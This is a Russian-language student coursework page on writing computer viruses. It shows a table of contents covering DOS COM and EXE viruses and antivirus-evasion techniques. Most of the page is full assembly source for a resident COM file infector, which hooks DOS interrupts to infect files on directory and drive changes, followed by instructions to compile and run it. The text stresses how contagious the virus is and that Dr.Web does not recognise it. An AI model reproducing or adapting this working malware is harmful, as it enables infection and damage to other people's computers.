Вирусы

Автор: Пользователь скрыл имя, 27 Февраля 2013 в 09:59, курсовая работа

Описание работы

Компьютерные вирусы со времени своего появления
распространились чрезвычайно широко . Сейчас уже
трудно найти человека,который бы ни разу не слышал
об этих " существах " .И вместе с тем подавляющее
большинство пользователей почти ничего не знают о
том, что это такое, и склонны приписывать виру-

Содержание

ЧАСТЬ 1 . COM - ВИРУСЫ ....................... 6

ГЛАВА 1 . РАЗРАБОТКА НЕРЕЗИДЕНТНОЙ
ВИРУСНОЙ ПРОГРАММЫ .............. 6
1.1 Загрузка и выполнение
COM - программы ..................... 6
1.2 Как вирус может заразить
COM - файл .......................... 7
1.3 Работа вируса в
зараженной программе ................ 8
1.4 Как начинается
распространение вируса .............. 9
1.5 Начало работы ....................... 10
1.6 Вирус получает управление ........... 10
1.7 Восстанавливаем зараженную
программу ........................... 12
1.8 Запоминаем содержимое DTA ........... 12
1.9 Ищем подходящий файл ................ 13
1.10 Читаем исходные три байта ........... 15
1.11 Выполняем необходимые расчеты ....... 16
1.12 Проверяем файл на зараженность ...... 18
1.13 Заражаем COM - программу ............ 19
1.14 Восстанавливаем DTA ................. 20
1.15 Передаем управление
зараженной программе ................ 20
1.16 Область данных вирусной программы ... 21
1.17 Завершаем запускающую программу ..... 21
1.18 Текст нерезидентного COM - вируса ... 23
1.19 Комментарии ......................... 29
1.20 Испытание вируса .................... 29

ГЛАВА 2 . РАЗРАБОТКА РЕЗИДЕНТНОЙ
ВИРУСНОЙ ПРОГРАММЫ .............. 30
2.1 Понятие резидентного
( TSR ) вируса ...................... 30
2.2 Несколько слов о
резидентных программах .............. 30
2.3 Алгоритм работы
резидентного COM - вируса ........... 31
2.4 Заголовок вируса .................... 34
2.5 Вирус начинает работу ............... 34
2.6 Сохраняем регистры процессора ....... 38
2.7 Создаем секцию
инициализации ....................... 39
2.8 Запрашиваем блок памяти ............. 41
2.9 Делаем вирус " незаметным " ......... 44
2.10 Получаем вектора прерываний ......... 46
2.11 Копируем вирусный код в память ...... 48
2.12 Устанавливаем вектора прерываний
на вирусные обработчики ............. 48
2.13 Пишем резидентную часть ............. 50
2.14 Заражаем COM - файл ................. 51
2.15 Восстанавливаем регистры ............ 56
2.16 Пишем обработчики прерываний ........ 57
2.17 Обработчик Int 13h .................. 58
2.18 Обработчик Int 21h .................. 60
2.19 Обработчик Int 24h .................. 62
2.20 Обработчик Int 2Fh .................. 62
2.21 Обработчик Int 28h .................. 64
2.22 Область данных вируса ............... 64
2.23 Процедура идентификации COMMAND.COM.. 65
2.24 Завершаем программу ................. 66
2.25 Текст резидентного COM - вируса ..... 67
2.26 Комментарии ......................... 81
2.27 Испытание вируса .................... 82


ЧАСТЬ 2 . EXE - ВИРУСЫ ....................... 82

ГЛАВА 1 . РАЗРАБОТКА НЕРЕЗИДЕНТНОГО
EXE - ВИРУСА .................... 82
1.1 Формат EXE - файла на диске ......... 82
1.2 Загрузка и выполнение
EXE - программы ..................... 84
1.3 Как вирус может заразить
EXE - файл .......................... 86
1.4 Работа вируса в
зараженной программе ................ 86
1.5 Начало работы ....................... 88
1.6 Вирус получает управление ........... 88
1.7 Ищем подходящий файл ................ 89
1.8 Читаем заголовок файла .............. 92
1.9 Производим необходимые
вычисления .......................... 93
1.10 Заражаем EXE - программу ............ 98
1.11 Восстанавливаем DTA ................. 99
1.12 Восстанавливаем точку входа ......... 100
1.13 Область данных вируса ............... 101
1.14 Используемые процедуры .............. 103
1.15 Работа завершена .................... 104
1.16 Полный текст
нерезидентного EXE - вируса ......... 104
1.17 Несколько слов об
испытании вируса .................... 112

ГЛАВА 2 . РАЗРАБОТКА РЕЗИДЕНТНОГО
EXE - ВИРУСА .................... 113
2.1 Алгоритм работы резидентного
EXE - вируса ........................ 113
2.2 Защита от
программ - антивирусов .............. 115
2.3 Как реализовать защиту от
эвристического анализа .............. 116
2.4 Реализуем предложенный алгоритм ..... 119
2.5 Пишем промежуточный обработчик ...... 121
2.6 Защита от обнаружения вируса в файле. 122
2.7 Несколько слов о вредных
действиях вирусной программы......... 122
2.8 Полный текст резидентного

Работа содержит 1 файл

virur.doc

— 1.23 Мб (Скачать)

 

    all_right: mov ah,2fh             ;Получим текущую

               int 21h                ;DTA ( ES : BX )

 

               mov bp,bx

 

       mov cx,80h             ;Сохраним эту

       lea si,dta_save        ;DTA ...

               mov di,bp

    save_dta:

       mov al,byte ptr es:[di]

       mov [si],al

       inc si

               inc di

       loop cs:save_dta

 

    find_first:                       ;Найдем первый

       mov ah,4eh             ;файл ...

       mov cx,00100111b

       lea dx,maska

       int 21h

       jnc cs:retry_2

       jmp restore_dta

 

    find_next: mov ah,3eh             ;Закроем непод-

       int 21h                ;ходящий файл

       jnc cs:retry_1

       jmp cs:restore_dta

 

    retry_1:   mov ah,4fh             ;Найдем следую-

       int 21h                ;щий ...

       jnc cs:retry_2

       jmp cs:restore_dta

 

    retry_2:   mov cx,12              ;Сотрем старое

       lea si,fn              ;имя в буфере

    destroy_name:

       mov byte ptr [si],0

       inc si

       loop cs:destroy_name

 

               xor si,si              ;И запишем туда

         mov di,bp              ;новое ...

    copy_name: mov al,byte ptr es:[di+1eh]

       cmp al,0

       je cs:check_command

       mov byte ptr fn[si],al

       inc si

               inc di

       jmp cs:copy_name

 

    check_command:

                                      ;Проверим, не

                                      ;является - ли

               call cs:search         ;файл  командным

               cmp inside,1           ;процессором...

               je cs:retry_1

 

               mov ax,3d02h           ;Откроем этот

       lea dx,fn              ;файл ...

       int 21h

       jnc cs:save_bytes

       jmp cs:restore_dta

 

    save_bytes:                       ;Считаем первые

       mov bx,ax              ;три байта

       mov ah,3fh

       mov cx,3

       lea dx,old_bytes

       int 21h

       jnc cs:found_size        jmp cs:close

 

    found_size:mov di,bp

               cmp word ptr es:[di+01ch],0

               jne cs:more_64K        ;Найдем его раз-

       mov ax,es:[di+01ah]    ;мер ...

 

    count_size:mov si,ax              ;Вычислим

                                      ;смещения ...

       cmp ax,64000

       jna cs:smallest

    more_64K:  jmp cs:find_next

    smallest:  test ax,000fh

       jz cs:krat_16

       or ax,000fh

       inc ax

    krat_16:   mov di,ax

       sub ax,3

       mov byte ptr new_bytes[1],al

       mov byte ptr new_bytes[2],ah

       mov ax,di

       mov cl,4

       shr ax,cl

       dec ax

       mov byte ptr add_to_ds,al

       mov byte ptr add_to_ds+1,ah

 

       mov ax,4200h           ;Считаем послед-

       xor cx,cx              ;ний байт ...

       dec si

       mov dx,si

       int 21h

       jnc cs:read_last

       jmp cs:close

 

    read_last:

       mov ah,3fh

       mov cx,1

       lea dx,last

       int 21h

       jc cs:close

 

       cmp last,'1'           ;Индикатор зара-

       jne cs:write_vir       ;жения ...

       jmp cs:find_next

 

    write_vir: mov ax,4200h           ;Запишем начало

       xor cx,cx              ;вируса ...

       mov dx,di

       int 21h

       jc cs:close

 

               mov ah,40h

               mov cx,2

               lea dx,end_file

               int 21h

               jc cs:close

                                      ;И остальную

               mov ah,40h             ;часть ...

               mov cx,vir_len - 2

               lea dx,vir + 2

               int 21h

               jc cs:close

 

    write_bytes:                      ;Запишем первые

       mov ax,4200h           ;три байта

       xor cx,cx

      xor dx,dx

       int 21h

       jc cs:close

 

               mov ah,40h

               mov cx,3

               lea dx,new_bytes

               int 21h

 

    close:     mov ah,3eh             ;Закроем зара-

               int 21h                ;женный файл

 

    restore_dta:

               mov cx,80h             ;Восстановим DTA

       lea si,dta_save

               mov di,bp

    dta_fresh:

               mov al,[si]

       mov byte ptr es:[di],al

       inc si

               inc di

       loop cs:dta_fresh

 

    exit_zarasa:                      ;Выход в систему

               pop es

               pop ds

               pop bp

               pop di

               pop si

               pop dx

               pop cx

               pop bx

               pop ax

       popf

               mov ss,cs:ss_save-110h ;Восстановим

               mov sp,cs:sp_save-110h ;стек ...

               iret

 

    ;-------------------------------------------------

 

    ; _______________________________________________

    ;|                                               |

    ;| Напишем новые обработчики INT 13h, INT 21h,   |

    ;| INT 24h и INT 2fh ...                         |

    ;|_______________________________________________|

 

               to_new_13h equ $-vir

 

    new_13h:   jmp cs:start_13h

 

    tg_13h     db   0

    ax_13h     dw   0

    cs_13h     dw   0

    ip_13h     dw   0

 

    start_13h: mov cs:tg_13h - 110h,1

               pushf

               db 9ah

    old_13h    dw 0

    old_13h_2  dw 0

               mov cs:ax_13h - 110h,ax;Поместим новый

               pop ax                 ;флаг на место

               mov cs:ip_13h - 110h,ax;старого ( CF )

               pop ax

               mov cs:cs_13h - 110h,ax

               pop ax

               pushf

               mov ax,cs:cs_13h - 110h

               push ax

               mov ax,cs:ip_13h - 110h

               push ax

               mov ax,cs:ax_13h - 110h

               mov cs:tg_13h - 110h,0

               iret

 

    ;-------------------------------------------------

 

               to_new_21h equ $-vir

 

    new_21h:   jmp cs:start_21h

 

    tg_infect  db   0

 

    start_21h: pushf

               push di

               push es

               xor di,di              ;Перехват

               mov es,di              ;INT 24h в рези-

               mov di,90h             ;дентном режиме

               mov word ptr es:[di],to_new_24h

               mov es:[di+2],cs

               cmp ah,03bh            ;Активизировать

                                      ;вирус ?

               jne cs:new_cmp_1

               mov cs:tg_infect-110h,1;Да - взводим

                                      ;триггер ...

    new_cmp_1: cmp ah,00eh

               jne cs:to_jump

               mov cs:tg_infect - 110h,1

    to_jump:   pop es

               pop di

               popf

               db 0eah                ;Переход на ста-

    old_21h    dw 0                   ;рый обработчик

    old_21h_2  dw 0                   ;INT 21h ...

 

    ;-------------------------------------------------

 

               to_new_24h equ $ - vir

 

    new_24h:   mov al,3               ;Вернем програм-

               iret                   ;ме управление и

                                      ;код ошибки ...

 

    ;-------------------------------------------------

 

               to_new_2fh equ $ - vir

 

    new_2fh:   pushf

               cmp ax,0f000h

       jne cs:not_our

       cmp bx,1997h

       jne cs:not_our

       mov al,0ffh

       popf

               iret

 

    not_our:   popf

               db 0eah

    old_2fh    dw 0

    old_2fh_2  dw 0

 

    ;/***********************************************/

 

    ;Data area

 

    old_bytes   db   0e9h             ;Исходные три

                dw   vir_len + 0dh    ;байта ...

 

    dta_save    db   128 dup (0)      ;Массив для DTA

 

    maska       db   '*.com',0        ;Маска  для поис-

                                      ;ка ...

 

    fn          db   12 dup (' '),0   ;Место для имени

                                      ;файла

 

    new_bytes   db   0e9h             ;Код команды

                                      ;" JMP ..."

                db   00h              ;HIGH

                db   00h              ;LOW

 

    end_file    db   0ebh             ;Первые два бай-

                db   push_len         ;та вируса в

                                      ;файле ...

 

    ss_save     dw   0                ;Буфера для SS

    sp_save     dw   0                ;и SP ...

 

    help_word   dw   0                ;Промежуточная

                                      ;ячейка .

 

    old_attr    db   0                ;Исходные атри-

                                      ;буты файла ...

 

    com_com     db   'COMMAND'        ;Имя командного

                                      ;процессора ...

 

    inside      db   0                ;Ячейка - инди-

                                      ;катор ...

 

    last        db   0                ;Последний байт

 

    to_newstack equ  $ - vir          ;Смещение к сте-

                                      ;ку ...

    newstack    dw   70 dup ( 0 )     ;Новый  стек ...

 

    ;-------------------------------------------------

 

    search     proc                   ;Процедура

               push ax                ;сравнивает

               push cx                ;строки ...

               mov inside,1

               lea di,fn

               lea si,com_com

               mov cx,7

    new_cmp:   mov al,byte ptr ds:[si]

               cmp byte ptr ds:[di],al

               jne cs:not_equal

               inc di

               inc si

               loop cs:new_cmp

               jmp cs:to_ret

    not_equal: mov inside,0

    to_ret:    pop cx

               pop ax

               ret

    search     endp

 

                db   '1'              ;Последний байт

                                      ;вируса ...

    vir_len     equ  $-vir            ;Длина вируса в

                                      ;байтах ...

    vir_par     equ  ( $-vir + 0fh ) / 16

                                      ;И в параграфах

 

    prg_end:   mov ax,4c00h           ;Выход в DOS

               INT 21H                ;только для за-

                                      ;пускающей прог-

                                      ;раммы ...

 

        db '1'                ;И ее последний

                                      ;байт ...

 

    prg ends                          ;Стандартное

    end start                         ;" окончание "

                                      ;ASM - программы

 

 

                     2.26 Комментарии

 

    В отличие от предыдущего,разработанный  в этой гла-

    ве  вирус может отыскивать  файлы для  заражения на

    всем жестком диске  и даже на дискетах . Это делает

    его довольно заразным  и быстро распространяющимся.

    Поэтому  сложность  " конструкции "  окупается   эф-

    фективностью работы  вирусного кода .

    Вместе с тем,наш вирус  имеет определенный недоста-

    ток .Ведь его обнаруживает  такая  распространенная

    программа, как DOCTOR WEB !В следующей части будет

    рассказано о способах  разработки вирусов,  против

    которых алгоритм эвристического  анализа  оказывае-

    тся малоэффективным  .

 

 

                   2.27 Испытание вируса

 

    Для исследования работы  вируса откомпилируйте  его

    исходный текст  для  получения COM - файла . После

    чего запустите этот COM - файл .

    " Пройдитесь " по различным  каталогам и понаблюда-

    йте,  как вирус   заражает файлы при смене текущего

    каталога .Попробуйте перейти  на другой диск и про-

    следите за действиями вируса .И последнее,проверь-

    те, заражается  ли  командный  процессор .Все выше-

    указанные  действия  нужно проводить очень аккурат-

    но и не рисковать  важными программами, так как  ви-

    рус, который мы изготовили, весьма заразный, из-за

    чего у вас могут  быть неприятности .

    Кроме того, очень советую  вам " пройти "  заражен-

    ную  программу   отладчиком  до точки  входа  в про-

    граммный код .

    И,наконец,при инсталлированном  в память машины ви-

    русном коде запустите программу DOCTOR WEB в режи-

    ме поиска резидентных  вирусов . Вы убедитесь,  что

    наш вирус обнаруживается  как неизвестный .

 

 

                  ЧАСТЬ 2 . EXE - ВИРУСЫ

 

 

           ГЛАВА  1 . РАЗРАБОТКА НЕРЕЗИДЕНТНОГО

                       EXE - ВИРУСА

 

 

             1.1  Формат EXE - файла на диске

 

    Каждый EXE - файл,  хранимый  на диске,  состоит из

    заголовка,таблицы настройки  и собственно программ-

    ных кодов и данных.В  заголовке содержится информа-

    ция для настройки  адресов и установки значений ре-

    гистров процессора, которая  используется при  заг-

    рузке программы .Поскольку  понимание структуры за-

    головка очень важно  для изучения данной и последу-

    ющей глав, мы рассмотрим  ее уже сейчас .

    Итак,заголовок EXE - файла при хранении его на ди-

    ске имеет следующий  формат :

 

    Байты 0,  1 : Содержат  код 4D5Ah, или " MZ "

 

    Байты 2,  3 : Содержат  остаток от деления  размера

                  загрузочного модуля на 512

 

    Байты 4,  5 : Содержат  размер файла в 512-ти  бай-

                  товых страницах, округленный  в боль-

                  шую сторону

 

    Байты 6,  7 : Содержат  число элементов таблицы на-

                  стройки адресов

 

    Байты 8,  9 : Содержат  размер заголовка в парагра-

                  фах

 

    Байты 0A,0B : Содержат минимальное  число  дополни-

                  тельных параграфов,которые нужны  за-

                  груженной программе

Информация о работе Вирусы